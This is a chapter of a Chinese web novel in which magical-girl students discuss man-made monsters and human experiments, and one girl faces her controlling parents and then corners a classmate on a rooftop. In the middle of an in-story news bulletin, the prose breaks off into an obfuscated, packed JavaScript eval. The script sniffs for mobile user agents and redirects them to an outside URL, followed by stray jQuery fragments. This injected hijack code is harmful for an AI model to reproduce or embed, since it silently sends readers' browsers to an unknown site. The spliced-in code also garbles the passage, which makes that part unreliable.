【我实在是不明白为何有人会做出这样的事情,好在这些魔物不算强大。】有乐羽生感到有些害怕,杀普通人人对人类来说不算难事。至少在她看来,若是目标只是“杀死普通的人类个体”的话,使用手枪远比制造人造魔物要便捷得多。 另一边。 【晓?你没受伤吧?】艾克里普听闻犬山晓也遇到那魔物非常紧张,【你有吸入它爆炸时产生的魔力吗?有被波及到吗?】 【放心,我没事。这种程度我还应付得过来的。】犬山晓安抚说。 【那就好,】艾克里普松了口气,【那些刑警呢?】 【也没有受伤,不过我听她们的谈话似乎是有所准备,我们接下来最好不要再去干涉警察的行动了,以免被察觉到。】犬山晓说。 【你说的对,不过事情到这里也不算结束。】艾克里普语气郑重地说。 【果然,】犬山晓也明白,【那个魔物的操控者是某个会使用魔法的人吧。】 【没错,一会来我的事务所坐坐吧,我来说这件事。】艾克里普说。 19. Ⅲ 几人分开不久后天色便暗了下来,有乐羽生越往前方的方向走越发觉自己靠近了西部市区靠西边的地段。曾经这里也是繁华的城市中心,但二十年前随着大量公司建筑和政府建筑的迁移,以及商业区的建立,这里也逐渐沦落为会被人议论“这里还算不算市区”的落魄区域。一些不愿意搬走的老建筑和无法被搬走的街巷桥梁留在了这里,冷淡地眺望熙攘的邻居。 但由于地理位置和建筑密度,这里依旧是部分在西部市区工作的上班人员首选的租房地段。特产是带着褪色彩绘的灰墙建筑,以及与建筑齐高的电线杆,监控摄像头密布。当然,也不缺那些与角落阴影融为一体的可疑人员。 为了防止因为密集的墙体隔绝而没能探查到角落地区,她解除变身和隐身后专挑没什么人走的小巷钻。 小巷不缺摄像头,但缺少灯光,只有些许从主街道借来的亮度让她看清眼前和脚底的路,她抬头,日落后的一线天空被狭窄的楼房和电线黑影覆盖,这里也是城市,但与她平日里夜间飞行时俯瞰得到的美景完全不一样。 巷子两侧的墙面上,像是从墙体内长出的生了锈的金属楼梯偶尔随风叫唤两下,有乐羽生抬头看去,无法想象出那陡峭片状台阶之上,紧闭的一扇扇灰门的后面都是什么样的房间。 那是与她相隔太过遥远的东西,原因不仅仅是因为普通。一扇扇紧闭的门与监控摄像头由电线串联,有乐羽生心想,这里像个铁笼,她不喜欢这。这是一种与对学校内的环境不相同的不喜,她知道自己不属于这里,却也对暂时停留于此感到焦虑。 这里太拥挤了,我应该飞去天上,有乐羽生心想。 就在这时,她察觉到了身后有人靠近,脚步声非常的轻,但在寂静之中她还是发现了,虽然没有魔力反应,但这里什么人都有,她警觉地转过身去看。 “你是,有乐羽生?”出乎意料地,身后的尾随者主动开口搭话了,甚至叫出了她的名字。 有乐羽生回头看向对方,昏暗的小巷子明显不是一个好的聊天场所,她注视来者,在发觉对方身着明黄色披风和遮掩容貌的兜帽之后变得更加警惕了,一时没有开口。 “我应该没有认错,对吧?你是有乐羽生吧?”那人的语气里带着不确定和一丝意外的欣喜,有乐羽生发觉她的声音是一个成年女性,虽然被斗篷遮盖,但依稀确实能看出是一个普通人,也并没有散发出魔力的气息。 “您是?”有乐羽生警惕地开口,不敢贸然上前。 得到了回应的可疑人士迅速往前走了几步,将自己的脸暴露在了细微的光线和昏暗的空气中,她摘下兜帽,露出一张有乐羽生所陌生的面孔,约二十岁出头的样子,笑容是欣喜的,但也有着似乎是与生俱来便刻在眼尾眉梢的胆怯。 “果然!我就说我还记得你长什么样。”那人声音很轻,有些不自信的怯弱,“我在你小时候见过你一面,果然你不记得了,不过也有可能你当时根本就没看见我吧。” “咦?”有乐羽生放松了一些警惕,她猜想这个人可能是小时候来看望过自己的客人或者亲戚,便挂上了礼貌的微笑,“我确实对您没有印象呢,真是不好意思,请问您是?” “叫我格雷伊就好,”格雷伊不好意思地说,但有乐羽生能听出来她语气中的惊喜是真诚的,“你不记得是正常的,那个时候我只是远远地看了你一眼,后来也没见过了。说真的能这样遇上真是了不起的巧合啊。” 确实如此,有乐羽生心想,她本不可能出现在这里。 “哎呀,您好格雷伊小姐,多年不见了,我确实没能认出您来。”有乐羽生讶异地说,“那可真是辛苦您认出我了呢。” “是呀,我每次看见带我去见你的人就想起这件事。”格雷伊说起这里又不好意思地笑了。 “那我可真的需要向您道歉了,不辞辛苦跑来我们家居然没能迎接您,真不好意思。”有乐羽生客套说。 谁知道听了这句话的格雷伊一下子手足无措了起来,她连连摆手,哪怕在一个高中生面前也显得很局促。 “没有这样的事,你的妈妈生气和你没有关系的。”格雷伊没有察觉到对方仅仅是在客套,认真地安慰了她起来。 “母亲?”有乐羽生好奇了起来,格雷伊看上去大概二十岁左右,在她小时候上门拜访时顶多十岁,她的母亲为何会对一个带着十岁小孩上门拜访的人生气,还把人家赶出去? “方便告诉我当年带您来的人是谁吗?”有乐羽生试探着问。 “应该可以说吧?我也不确定啊。”格雷伊想了想,粗黑的眉头皱得更紧了,“总之好像是那位当年和你妈妈闹了不愉快,多年后想带着我去看看你,结果被挡在门口了。” “不愉快?啊!”有乐羽生一瞬间恍然大悟。 一定是那位多年前离家出走后,她们母亲连名字都不愿意提起的姐姐!原来她曾经想回来看我啊,有乐羽生心里涌起了一些感动。她对于这位姐姐一点印象都没有,却没想到对方以前还挂念过自己。 “真的不是你的错,”格雷伊认真地安慰说,“而且现在见一面也不错了不是吗?” “当然,真没想到会有这样的事,”有乐羽生感慨道,“那位现在还好吗?” “还好?最近身体越来越好了。”格雷伊苦笑着说。 有乐羽生看着这位的姿态有些畏缩,不知她和自己姐姐是什么关系,说是女儿也说得通,不过无论是发色瞳色还是五官都与自己没有相似之处,名字也是,甚至可以说更像是个外国人。 是收养的吗?有乐羽生心里猜测。 “都这个时间点了,你早点回家吧!别走小路了很不安全的。”格雷伊看了看手机,动作一下子有些匆忙了起来,似乎本来就在急着去某个地方。 “感谢您的关心!我来找去警察局的同学,很快就回去了。”有乐羽生点了点头。 二人很快分别了,有乐羽生看向格雷伊带着兜帽匆忙消失的背影,心里不禁想起自己的那位从未见过面的姐姐,好奇她这么多年来都在做些什么,有没有再悄悄地来看过自己? 几人聚集后再次快速前往夜藤事务所,下方的城市里行人脚步匆匆,偶尔有警察打着探照灯在巡逻。 “到了,就是这里。”艾克里普停在一个不起眼的路口。 “这里居然有店?我以前从来没有注意到过。”有乐羽生讶异地说,她虽然不常来市中心,但经常在夜间飞行时路过这里,从来没发现这处居民区里有一间常亮着灯的事务所。 “我施加了魔法,和我的眼镜一样。”艾克里普笑着解释说,语气里有些对同伴介绍自己居所的迫不及待。她迅速上前拉开事务所大门 ,卷曲的藤蔓枝叶探出缝隙,暖光自动亮起。 “哇,这些植物是艾克里普养的吗?长得好像魔法世界才会出现生物。”森山寺未央对门口的巨大藤蔓惊叹不已,想摸摸看又不太敢。 “是的,夜藤事务所现在提供植物购买和护理服务,不过真的光顾的客人并不多啦。请坐吧,我给大家倒杯茶。”艾克里普带着几人走入室内,去往后方空间寻找茶具。 “打扰了。”犬山晓郑重地说着,抬步走进门内。 几人在事务所一楼的大桌旁坐下,四处打量,不出意外地发现这里并没什么生活气息,除了桌上放着的一些作业纸。 “请用,今晚大家都辛苦了。”艾克里普用木质托盘带来了一些用木杯盛的热绿茶,杯子雕刻精细,有一定年代感但被保养的很好,茶的香气与空气中各种植物的味道混合在一起令人感到放松。 “谢谢,艾克里普也是辛苦了。”有乐羽生接过茶道谢。 “好香!谢谢!”森山寺未央说。 “多谢,我们开始吧。”犬山晓迫不及待地说。 “那先从今晚遇到的魔物开始吧。”艾克里普难得地严肃了起来,“就像我说的那样,我可以断定那个魔物是人类制造出来的,被人为控制,所以才会在行凶后留下尸体。” “果然,那操控者确实是某个人吧,这个人还有可能是普通人,毕竟我们刚才谁都没有找到有特殊魔力气息的存在。”森山寺未央担心地说。 “没错,而且我将它的短期进化表现与相似的存在对比,可以断定制作者已经有了较为完整的研究系统和器械设备了。”艾克里普说,“而且,它会以休眠的状态和那个容器掩盖魔法气息,其目标应该是骗过能察觉到魔力反应的人,也就是我们。” 说到这里,几人都想到了什么,神色各异。 “普通人能看见魔法少女战斗的痕迹或者记录吗?”有乐羽生为这个问题感到紧张。 “这个问题的答案是否,但也是我感到不合理的,普通人不应该能看见魔法的痕迹,也无法察觉魔力反应,只有能使用魔力的人才能看见魔力。或许制作者研发出了什么东西让人类通过某种手段也能观察到魔力。”艾克里普说。 “让普通人使用魔法,再加上那个魔物,这背后果然是人体实验吗。”犬山晓脸色不好看。 她这样说了之后,空间内一时安静了下来,尤其是有乐羽生和森山寺未央的讶异和震惊尤其明显。对于高中生来说人体实验只存在于都市传说和其它类似的文学作品里,但今日,她们亲眼见证了其结果,而不仅仅是一条信息。 哪怕是以魔法为目标,人体实验也是人类,或者说普通人犯下的罪行。 “人体实验,生物学为什么能和魔法扯上关系啦。”森山寺未央气恼地说,“不过这样说的话也可能是动物实验,结果被人取用了吧。先不说现在人体实验是违法的,谁能用大量的资金和时间去研究一个普通人没办法察觉到的真相呢?” 人体实验多数与医学或科学相关,总之,不会是魔法这种连学科都没有的专业。 “…你说的对。”犬山晓沉默片刻之后叹了口气,“可就是有人会这样做的,对吧?” “恐怕是这样的,魔力在无法使用魔力的人的体内无法存留多久,也会使人迅速地失去生命力。实际上我曾经发现过许多使用魔物进行人体实验的人,但同理,它们大多数在最初就失败了,而其中一些进行的比较顺利的都被我捣毁了,因为普通人类也不知道‘魔法少女能察觉到魔力气息’,也就不会知道要收敛。”艾克里普果断地说,“若是有一个区域的相关实验进展顺利,那必然会产生大量的魔力反应,比寻常魔物大许多,我设下了对此进行反应侦查的阵法。” “普通人使用魔法,和魔法少女使用魔法需要付出的代价差距非常大呢。这些人胆子真是大,不,不如说真是过于贪婪了。”有乐羽生说着,心中对这样的行径感到了愤怒和不满。 普通人凭什么使用魔法呢?那些人不过是想要靠着这种能力谋取利益而已吧。甚至不惜靠人体实验这样的手段也要拥有魔力吗?有乐羽生心想。 “…确实啊。”森山寺未央点头。 “是的,使用魔法的能力是稀少的,魔法少女的存在是奇迹。”艾克里普说,“但是实际上现代已经很少出现这种事情了,人类自身也反对这样的行径,至少明面上是不允许的。我上一次捣毁这样的大型组织还是在上世纪末,仪器都确保销毁了,自那以后再没有哪里的组织实验能进展顺利到被我设下的阵法察觉。” 艾克里普说出这样的话来,其余三人虽然感到疑惑,但也没有质疑“她可能是漏下了某个地方”这样的可能性。因为她已经是她们当中对这类事最具有说服力的存在了,艾克里普是城市的守护者,这并不是一句虚谈。 “可是今天我们遇到的魔物已经被投入正式使用,明显已经有了一定规模了。”犬山晓皱眉说,“既然如此,那些人已经掌控如何在不泄漏魔法气息的情况下进行实验。” “是呀,这也是我找大家来想说的。”艾克里普难得地愁眉苦脸了起来,“之前有一位侦探来到我的店里求助,她的雇主雇佣她追寻走失的高危实验品,她调查过后发现那雇主实际上是想借着那个实验品的感知找到我,或者说像我们这样的存在。” “这不是特别可疑吗?然后呢然后呢。”森山寺未央很在意。 “那位小姐出于自己的意愿希望调查她的雇主的真实身份,于是来找我求助。”艾克里普说到这里露出了笑容,“真是个聪明的孩子,我们讨论过后我雇佣她调查她的雇主到底为什么想找到我。虽然说那时我只觉得她的雇主是个想对魔物下手做实验的人,但现在想起来她的雇主也在这个区域附近活动,应该和我们现在讨论的对象脱不开关系。” 说到“实验”两个字,大家已经能熟练地将一些事串联在一起了。 “普通人能犯下的罪行是没有上限的,加上利用魔力,或许这件事造成的影响比我们所看到的那些还要大得多吧。”有乐羽生说,她从不怀疑普通人的贪婪,因为她自己的母亲就是其中翘楚。 “犯人想要找出我们的存在原因不明,但我认为目的也是相似的。”犬山晓说,她的脸色十分阴沉,说话的声音也很低,语速倒是比往常快上许多了。 “是的,实际上我的事务所也常常遇到不怀好心的人,所以我们一直以来保守秘密是正确的做法,除非迫不得已绝对不要暴露自己。若是遇到解决不了的问题大家一定要跑,然后告诉我。”艾克里普郑重地说。 “所以说犯人是一个,”森山寺未央总结说,“拥有不小的势力,在这个区域附近潜伏,已经有了一定实验成果并且已经在使用,希望找出我们,并且能用某种方式发现并隐藏魔法气息的组织。这样一说真的非常可怕啊,我们真的能对付吗?” 虽然她们拥有魔力,但大多数用以自保或者攻击的魔法无法在普通人的眼前使用。 “不,不需要大家对付,只需要找出这些人是谁就好,这样潜伏在地下的敌人通常都紧密地联系在一起,找到一个就能找到一片。”艾克里普神色严肃,“我希望大家帮助我尽快找出其据点所在,只要找出来我就能马上解决掉。” “这么说就让人感觉很安心呢,有艾克里普在的话很多事情都能非常迅速地用魔法解决呢,强大的魔法果然是万能的。”有乐羽生松了口气,有些憧憬地说。 “依靠魔法解决与魔法相关的事件是正确的做法,但面对普通人时,偶尔我也会感到有些力不从心的。”艾克里普叹气摇摇头,“有时我也在想自己是不是变弱了一些,但也有可能是对方进步地更快而已。” 几人顺势开始闲聊起来,谈论自己刚才分头调查时的发现。 “不知道我什么时候才能完成我的结界呢?”森山寺未央喝了口不再冒热气的茶,叹了口气,“用卡牌去分散调查很方便但会留下痕迹,而且魔力上的消耗有点太大了。啊这个茶好好喝啊甜甜的!” “我已经在使用自己的结界进行战斗了哦,不过也就与魔物战斗时能用,调查派不上用场。”有乐羽生说着想起来刚才遇到的人,“说起来我刚才往西边的旧城区那里跑的时候遇到一个人,她认出来我来后还和我打招呼。” “是日之森的同学吗?那里可是很危险的地方,尤其是晚上。”犬山晓有些紧张地问。 “不是啦,她好像和我姐姐有关系,”有乐羽生摆摆手,“可惜我不记得她是谁了。” “羽生也有姐姐吗?”森山寺未央好奇了起来。 “其实我不知道是不是。我卧室旁边有片区域一直空着,我之前打听后知道有人住在这里但和我母亲吵架后离家出走了,我觉得啊,这个人应该是我姐姐。”有乐羽生声音有些轻,担心地说,“我的母亲对她的态度非常严厉,也说她走了就别回来什么的,名字都不允许提了。” 从来没有消息报道过市长还有另一个孩子,但几人对于这样的家庭都不算了解,所以一时间就相信了有乐羽生的说法。 “难以想象啊,而且你的姐姐也真的就再也没有回去啊好倔,这都多少年了?家人之间居然能存在这么深的矛盾吗?”森山寺未央讶异地说,她幻想有乐羽生的姐姐会长什么样。 “是呀,我的母亲真的是很严厉的人。”有乐羽生叹了口气,“不过我能感受到母亲她是想让我有一个好的未来所以才对我严厉的,我没办法真的说什么。” “而且你的姐姐走了以后你的压力就更大了,无论是各种方面的。”森山寺未央感同身受地说,“你的姐姐胆子也是大,就这么离家出走不怕你妈妈生气,不过她也真的没再回来了。” “是呀,她怎么就没再来见过我了呢?”有乐羽生想到那不知名的姐姐有些出神,“不过她多年前来看过我呢,虽然我当时太小了都不知道有这件事。” “要是能见一面就好了,无论在哪里,哪种家庭,姐妹都是很重要的亲缘呢。而且人类寿命短暂,有时错过了就可能再也没法弥补了。”艾克里普点头。 不知不觉间,室外的天空彻底暗了下来。 “都这个点了,我得先回去了。”森山寺未央确认了时间后从椅子上跳了起来,“我们明天见,大家最近出行小心点哦。” “我也得回家了。”有乐羽生发现已经过了饭点了,却也没有多焦急。最近她经常晚归,好在父母不在家。这样说可能不太好,但父母不在家她真的感觉开心很多。 二人告别后,被植物包围的室内就剩下了犬山晓和艾克里普。 “这件事我也会想其它办法调查一下,艾克里普不要太过紧张了,”犬山晓看出了艾克里普对这件事很担心,安慰道,“艾克里普一直是城市的守护者,如果有谁在看着的话也会保佑你的。” 这句话明显激励了艾克里普,原来神色低落的她露出了笑容。 “没错,我们的相聚真的是奇迹,这一点我深信不疑。”艾克里普说,“所以无论如何我都会保护好大家的,我绝对不想失去同伴。” “我也是,我很珍惜我们的乐队。”犬山晓笑了。 “说起来,晓虽然说有丰富的魔法少女经验但多数情况下选择使用偏向普通的手段战斗,这也是某种修行吗?”艾克里普好奇地问。 “确实如此,实际上平时的训练对我来说基本上算是打发时间或者提神醒脑,我的魔法能让我在使用肢体力量战斗时达到魔力利用最大化。”犬山晓点点头。 “原来如此,这与我完全相反呢。”艾克里普笑了,“但在这些事情上我希望大家依赖魔法多一点,想要知道什么一定要告诉我哦?什么魔法我都会,我都可以教你们的。” “艾克里普像是童话书里的女巫一样,只要存在就很令人安心。”犬山晓面露怀念。 “要是事情能像童话故事一样顺利就好了,我有不太好的预感,这样的预感对我来说更像是某种警示。”艾克里普还是放不下心事,“或许这件事短期内不会结束,而且社会关注度这么高,希望羽生不要受太大的影响。” “是啊,虽然她表现得不在意,但她喜欢把不好的情绪藏在心里,我们也没办法一直陪着她。”犬山晓想起了天生目白,“至少希望学校里的同学不要做的太过分吧,我也会看着点学校里的状况。” 艾克里普点了点头,之后犬山晓也离开了夜藤事务所。 2024年4月16日,星期二,天气晴。 市长对多方面争论表达了回应。城市公共安全管理部门与北方城市的“城市安全危机管理专家”联手合作,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706132|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽快恢复城市安全,保护市民安全。 凌晨,一名男子在大学城被抢劫。受害者按下新部署的社区安全警报器,但系统延迟8分钟才向警方发出通知。警方承认该系统“存在技术缺陷”。 城市青少年中心负责人向媒体披露:“我们发现有多个15岁以下的孩子被引导参与‘传递货物’与‘站岗放哨’,而他们根本不知道自己在做什么。” 警方表示目前掌握的证据不足以逮捕。 本周有市民在北绿地中心公园发现一头成年黑熊,在傍晚翻找垃圾桶。野生动物保护专员表示:“城市与野地界限变得模糊,动物对食物的依赖越来越靠近人类活动区域。” 尚无攻击事件,但社区巡逻员建议晚上避免单独遛狗。 校园内,针对有乐羽生的言论并没有减少。 但好在是个晴天,有乐羽生出神地站在教学楼边上的圆柱形全玻璃上下台阶区域,望着外面的蓝天和稀少的白云这样想着。 “有乐。”天生目白姿态优雅地走到楼梯拐角区站着不动的有乐羽生身边,想说些什么,但站着欲言又止了一会之后她也只是问:“那些话你都听见了?” 闻言,有乐羽生回头看向对方,背着光神色不明,并没有开口。 “我知道你现在不好受,不过很快就过去了,以前不也是这样的吗?”天生目白也清楚这些,她反而意外有乐羽生这幅不太开心的样子,“而且有乐阿姨说过——” “你知道,”有乐羽生开口打断对方的话,“那你现在感受如何?” 为何我语气这么幽怨呢,有乐羽生在心里想。虽然她这样说,但其实她也清楚天生目白哪怕想看她吃点苦头也不会在这种情况下落井下石,毕竟她家里和自己的母亲有些联系。 “…你说什么?”天生目白一下子愣住了,有乐羽生意识到对方被自己这这下肯定要生气,毕竟她并不是能忍耐激将法的人。 “算了,既然你知道,那这些就不劳你费心了,我自己能处理好的。”有乐羽生再次转头去看天空,没有去思考天生目白的反应。 “…随便你吧。”天生目白地看了对方的背影一眼,转身离开了。 有乐羽生出神地看向窗外,直到上课铃打响。 【说起来,我今天下午看见天生目白在教训一些引起话题的人。】犬山晓在下午课程开始前提起自己的发现,她是真的挺意外的。 【谁来着?哦哦科学课上那个老看我们的那个。】森山寺未央想起来这个人。 【这样吗?】有乐羽生没有特别意外,也没什么感受。 【那孩子还挺善良的嘛。】完全不认识对方的艾克里普感慨说。 所以是想借机彰显善良吗?有乐羽生心想,还是说想借机让我记下一份人情呢?或者干脆是我母亲指示的? 想到这里,有乐羽生想起自己早上被告知今晚的晚餐父母会出席,心情不禁沉重了一分,她转头看向窗外的天空,越看越觉得自己待在这里所经受的一切都是没有意义的。那些闲言碎语也好,对父母的担心害怕也好,这些都应该只属于普通人才对。 想飞去天上啊。 夜晚,有乐羽生准备好后来到了餐厅,灯具完备,她明白父母已然就坐。空旷的长桌彼端,二人正彼此之间说着些什么。 “那些人做事越来越不顾及秩序了,而且很多迹象表明后面还有更大。”有乐善太郎的嗓音有些沙哑,“苍山那边倒是不用去管,但我们真的不用去处理背后的那些事吗?” “线人的说法证明这件事我们不该去深究,就像一直以来那样。说到底这件事的后续发展如何都与我们无关,管好市政府的那些事情就足够了,其它的我会处理。”有乐千奈说。 “千奈,我,我不确定那些准备是否充足。似乎准备永远是不够的,你永远在涉险。”有乐善太郎深深地叹了口气,似乎要把肺部全数更新一般。 “不是涉嫌,而是为了更伟大的利益,没有人会不听我说话的,我自有分寸。”有乐千奈似乎是笑了笑,“难道事到如今我还得和你说‘相信我’这样的话来吗?” “这句话你永远不需要宣之于口。”有乐善太郎也笑了笑,不过他的情绪很快又因另一件事而产生了波动,“不过那孩子她…” 有乐羽生的脚步声打断了二人的交流,两道视线朝她扫去,即使她知道自己的准备绝无可以被指摘之处,却依然条件反射地感到了紧张。 “晚上好,这几天辛苦了。”有乐羽生微笑着问候说着,也就坐了。 挑高的天花板之上,作为装饰的水晶灯与和装饰差不多作用的食物遥遥相应。 “这几天我们因事务繁忙不在家,而你回家时间很晚?”母亲开口责问,多日高强度工作的疲惫完全没有影响到她语气中斥责的存在感。 “抱歉,前几日校园祭后我和其它乐队成员在校园里待得晚了些。”有乐羽生低头道歉说,心想明明也是按照规定的时间内回家的,怎么就能说她回家很晚呢? “这几天我们这么忙,没空看管你的学习问题,你自己记住不要怠慢了学习。”父亲开口说,“高中开学后你的很多课程都没有继续了,但那些知识你不可以忘记,后续我们会给你安排新的老师。” “是的,请放心,我绝不会这样做。”有乐羽生应下。 “你自己清楚就好,不要让我们多说。最近发生了一些事可能会影响到你,但你绝不可因为那些闲言碎语就展现情绪,你是有乐家的孩子,知道吗?”父亲又说。 “是的,很抱歉让二位担心了。”有乐羽生无不接受。 “你那张银行卡的事情,我已经知道了。”母亲骤然开口砸下这个事实,她看下有乐羽生的视线是锐利且带着审视的,就连那蓝色珠宝反射的光都刺人。 有乐羽生失去了说话的能力。 怎么会这么快?有乐羽生一瞬间手脚失去控制,四肢开始发冷,本在消化食物的胃部也隐约抽搐了起来。她不敢回应,不敢有动作,满脑子都在想该怎么办。 餐厅里人可以说多,毕竟侍者也在。但真要细数那说得上话的也只有三个,但有乐羽生却觉得所有人的眼睛都在看着她,现在应该露出什么样的表情呢? “羽生,回答我,你是怎么做到的?”母亲的语句比起问问题更像是在质问,与其说是希望得到答案,不如说是不信有乐羽生能脱离自己的掌控。 怎么会这么快发现?有乐羽生实际上并不指望那张卡就那样完美地被隐藏了起来,也许她会因为自己某次消费被谁看到而发现,屋子里多了什么东西被怀疑,或者收藏品少了什么被询问。但那些都应该是很久以后的事情,那个时候她会有更完善的方法解决经济问题,后面把账户注销,哪怕父母怀疑也无从举证。 “你是不是对银行工作人员说谎了?你缺少了什么为什么不和我说?无论是什么我都会给你的,你根本没有必要这么做。你的行为只是在败坏我们家的门风。”母亲说。 说些什么,说些什么,掩盖过去,道歉,想想办法,思考是怎么被发现的,从中找出可以利用的细枝末节为自己摆脱。 有乐羽生在脑内对自己呐喊,但她就是动不了,手和脚连同整个身体都不属于自己了一般,就连思考的能力都没有了。 “说话!面对问题沉默不语是谁教你的?”母亲非常不满意她低头不语的样子。 啊,好吵,有乐羽生突然浮现了这样的想法,母亲说的话与白日里在学校里听到的话似乎重合了起来,面孔也重叠了起来。这样的想法诞生的一瞬间,她抬起头来想要去找蓝色的天,但却只看到了餐厅的吊灯和彩绘。 “我们允许你和那些普通人玩乐队,但你看看现在你变成了什么样?你做的那些事情真的是你发自内心想做的吗?”父亲也参与了进来。 “是不是那些人教你的?从今天开始你放学后必须立刻回家,手机也暂时交给我保管。直到你自己意识到你错在哪里,明白了吗?”母亲笑着问。 “本来还想等你自己吃苦头,现在看来是不行了,有乐家的孩子绝不能做出这样的事情。” “我们为家族付出的时候你就这样回馈我们?你知道现在我们正面对多么严峻的挑战吗?虽然不指望你为我们分忧,但你也不应该给我们添乱。” “说话!”“不要装聋作哑!”“你在想什么?告诉我!” 一切话语,声音,和情绪都离有乐羽生远去了,她没有任何反应,直到她再次回过神来时,位置已经在自己的屋子了。就像空间魔法一样啊,她忽然这样想。 她向前走了几步,饥饿和疲惫一起袭来,提醒她需要额外的进食和休息,但她从书包里找藏起来的巧克力时也找到了自己的银行卡,它还在这里,但其中账户想必已经被注销了。 她坐倒在地毯上,但也没有缓解多少疲惫,这个名为家的地方无法缓解她的疲惫,那个名叫餐厅的地方提供的东西无法缓解她的饥饿。 这具身体真是麻烦,有乐羽生想,想飞到天空中去,想去不需要思考的地方。 想去游乐园。 银行卡不能用了没关系,依旧可以靠学校里的账户余额购买足够的食物,魔力也还算是充足,不过这也不可以被她们发现了。 想去游乐园。 最近出门狩猎必须要小心,不能在城市间长时间飞行了,可能会有谁注意到,狩猎魔物必须要使用结界,或者只用剑。 想去游乐园。 那个事情还没完全解决,她们最近肯定还有的忙,这段时间要顺着话说,事情过去了就不需要再这么小心翼翼了。 想去游乐园,有乐羽生心想,想坐旋转木马啊。 20. Ⅳ 2024年4月17日,周三,天气晴。 西部市区市警察局局长宣布昨日西部市区部分区域的封禁在今日早晨结束,受害人列表将不进行公开。刑警队伍给出调查结果,宣称野兽已得到完整管控,并已获得足够经验以预防相同事件再次发生。 旧西市区西部居民区一栋老旧住宅楼昨日凌晨突发火灾。因邻近两栋大楼外墙堆放大型储物箱,消防车延迟10分钟入场。事后查实该通道五年前已被列为隐患通道,但因责任划分不清未整改。 市长在晨间会议宣称将持续对相关事件保持高度重视,并加重相关方面的预算权重。 清晨,西部市区财政部门副部长在南绿地公园施工现场遭遇枪击,现附近交通已封禁,请市民远离相关区域。 周三照例需要上学,校内气氛比前两天好了些,但有乐羽生并没有太在乎其中的变化。 “现在开始点名。”古河梦久担心地看了一眼有乐羽生。 【羽生,要不我陪你去保健室待着吧,那里有隔间可以休息。】犬山晓发现了她有些虚弱,推测那似乎是休息不足导致的。 【没什么啦,昨晚写作业到太晚没睡好而已。】有乐羽生说,她最近在学校必须好好表现。 【我带了薄荷糖,一会给你哦。】森山寺未央看见对方一副没精神的样子也有些担心。 【羽生,加油哦。】艾克里普担心对方是因为昨天遇到恶心的魔物受到了影响。 来自朋友的鼓励让有乐羽生打起了一些精神,好在今天窗外也有蓝色的天空在,只要看见那空无一物的巨幕,她就能短暂地从一切之中脱离出来。 出神地度过了一天之后,有乐羽生坐在教室里并没有走,而是继续看着窗外的天空,过了一会她站起身,带着书包走到了那教学楼西玻璃覆盖的楼梯间。因为她认为从这里看到的天空最蓝,而且没什么人会经过,监控摄像头也比较少。 这样有点像是在看电影,时间也过的很快,有乐羽生看着晴空这样想着。 “有乐,你在想什么?”不知何时走到她身后的天生目白试探着问道。 有乐羽生没有回应。 “你也该打起精神了吧?站在这发呆算什么?”天生目白不满对方的无视。 好吵,有乐羽生心想。 “因为有乐阿姨骂你了?这段时间过去了就好了…”天生目白说着,发现对方回过头看自己了。 有乐羽生逆着窗外的光回头看。 “你以前又不是没被骂过?为什么这次这么难过?”天生目白以为对方放不下这件事。 “你为什么知道母亲骂我的事?”有乐羽生的声音很轻,但楼梯间非常安静。 听到这话的天生目白愣了一下,本有些担心的脸色随即变得内敛了,就连她浑身上下那些攻击性的气息都随着她的表情一同在半空中手足无措了起来。 “我猜的!”天生目白慌忙地说,“我知道你在想什么但是不是你想的那样!” 拙劣,有乐羽生心想。她看着天生目白,对方身上的一切都与她所追寻的一切截然相反,更别提对方身上还有她不喜欢的部分。 我不需要,也不想要这个朋友,有乐羽生心中确信这一点。 于是有乐羽生没有说话,一把抓住了天生目白的手腕,强硬地拉着对方往楼梯上行,天生目白想反抗却发现对方的力气大的惊人,几乎是被拖着在往上走,脚步几次绊在台阶上。皮鞋底与瓷砖碰撞的声音对有乐羽生来说并不是悦耳的。 虽然这个时间教学楼已经没有人了,但有乐羽生还是想找个不可能有人出现的地方,她有东西想知道。 “有乐,你放开我!”天生目白喘着气说,“有话好好说,不是你想的那样!” 有乐羽生沉默不语,一直拽着对方走到楼梯最顶层,再往上便是天台,大门被一把钢制U型锁锁了起来,天台无人使用所以没有摄像头,教学楼不包括天台一共五层。 有人在的情况下魔法用不了,她一言不发地拿出自己的剑,一刀将锁的劈开了,准备之后直接将锁带走修好后放回来。 “喂,为什么要带我来这里?”被强拖到无人地区的天生目白问道,她觉得眼前的人变得如此陌生。她自认为二人也算是一起长大的,为何一个人忽然变得如此不同了? 天台为美观只有到腰部左右的栏杆,有乐羽生抬头发现这里离天空很近。 但现在,有乐羽生把天生目白往天台里一推,反身把门关上了。 “听着,我知道你在想什么。”天生目白揉着被拽到青紫的手腕解释着往天台外侧退去,想离对方远一点,“无非是你觉得我在给有乐阿姨打小报告不是吗?” “你没有吗?我知道你一直在这样做。”有乐羽生朝她走去,脚步声是沉重的。 她们二人自小相识,她知道天生目白应该自小就这样做了。在有乐羽生看来这毫无疑问是一种对她个人的冒犯,但因为信息的接受者是她的母亲,于是她一直以来便默认这种类似于监视行为的存在。 “我是有偶尔把你在学校的事情告诉有乐阿姨,但绝没有像你想的那样频繁联系什么都说。”天生目白脸色苍白地解释着。 “什么叫我想的那样,你又知道我在想什么?你学到了些皮毛就觉得自己也可以像我母亲那样猜测别人的心思了吗?”有乐羽生冷漠地说,发现对方本就灰白的脸色变得更加难看了。 “我加入乐队的事情,也是你说的?”有乐羽生逼近她,直到她的背靠在栏杆上。 “…确实是我说的。”天生目白承认这一点,语气里还带着些不服气。 “呵呵,那又和我想的有什么不一样?你自己都知道这很恶心吧。”有乐羽生嗤笑一声。 天生目白想辩解些什么,但又觉得自己没有立场开口。 “那银行卡的事情,是不是也是你说的?”有乐羽生阴着脸质问,她觉得说出这件事是难堪的,又因确信眼前的人确实是罪魁祸首而有了底气。 “什么银行卡?”天生目白一脸疑问。 “别装傻!”有乐羽生一把拽住她的校服领口把她往栏杆外压去。 